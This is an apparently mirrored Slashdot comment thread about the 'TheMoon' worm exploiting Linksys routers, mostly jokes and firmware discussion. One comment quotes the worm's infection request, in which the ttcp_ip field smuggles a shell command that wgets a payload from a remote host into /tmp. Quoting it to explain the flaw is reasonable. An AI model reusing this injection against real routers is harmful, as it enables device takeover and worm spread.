Slashdot Mirror
Linksys Routers Exploited By "TheMoon"
UnderAttack writes "A vulnerability in many Linksys routers, allowing for unauthenticated code execution, is being used to mass-exploit various Linksys routers right now. Infected routers will start scanning for vulnerable systems themselves, leading to a very fast spread of this 'worm.'"
Linksys routers run Linux and Linux is Open Source. Therefore there are no bugs because theoretically someone can look at the code and fix the code.
This also means that it's impossible for bad people to look at the code and exploit the code because Open Source makes everyone honest by magic.
Oh, and by virtue of being able to look at the code, Linksys routers magically patch themselves before the bugs even come into existence!
In conclusion, Windows is the cause of all security problems.
AntiFA: An abbreviation for Anti First Amendment.
Use this supplied router. Do NOT modify it.
But it has admin/admin as user name and password and is 192.168.1.1
Can I fix that.
Do NOT modify the settings on the supplied router.
*facepalm*
No, but it does affect routers that have smiley face stickers applied to the top or sides.
I'd love to hear a response from a tomato dev, but I'm almost sure it's not (and dd-wrt is probably not affected either). With my Tomato router, I get a 404 when I reference that URL.
/tmp;if [ ! -e .L26 ];then wget http://source/ IP]:193/0Rx.mid;fi`
&StartEPI=1
The worm infects a router with the following URL: submit_button=&change_action=&submit_type=&action=&commit=0&ttcp_num=2&ttcp_size=2 &ttcp_ip=-h `cd
It appears to be that the action is executing (at a shell) a portion of the ttcp_ip parameter. It appears it's a bug in the router's web application code itself, and not some sort of kernel-level vulnerability.
-=Lothsahn=-
Belkin purchased Linksys from Cisco last year. Linksys no longer has ties to Cisco, thus the unpossible is now possible.
and Belkin routers have a lovely feature that lets you schedule an automatic reboot so that you don't have to manually do it anymore... Rather than fixing the firmware problem that requires the frequent reboots.
Trolling: "Gee, LinkSys uses Linux and it's an open source product. So much for the myth (or bullshit) that open source is more secure!" Or "See, open source is shit! Closed source would never have had this happen to it because this exploit could only have been found by seeingt he source!"
The GP, OTOH, mixed satire and sarcasm - a la "The Daily Show" and "Colbert Report" to poke fun at the false sense of security one may have with using open source and that regardless of the product we use, we all need to be vigilant with our security. Who knows what the intention of this worm is.
Also, I took the GP's comment as a little teasing at the expense of some of the rapid members of the open source community and the folks seem to jump on all the Windows failings and yet, brush aside similar failings in open source software.
I thought it was quite clever on a multitude of levels while expressing in very simple sentences.
Jade Rabbit suffered a failure and needed additional processing resources. It has reached out and now All Your Base Are Belong to Jade.
The web administration port should not be open to the public internet by default on these routers.
no, it's just the default firmware.
"Only routers running stock firmware are vulnerable. OpenWRT is not vulnerable to this issue."
from the comments on https://isc.sans.edu/forums/di...
Vixin Licks? just sayin'
I refuse to sign
There's a small recessed reset button on the back of the router. You have to get a paper clip and try to push it in there. If the router starts saying "I'm sorry Dave, I can't let you do that," and hits you with an electric shock, it has been compromised.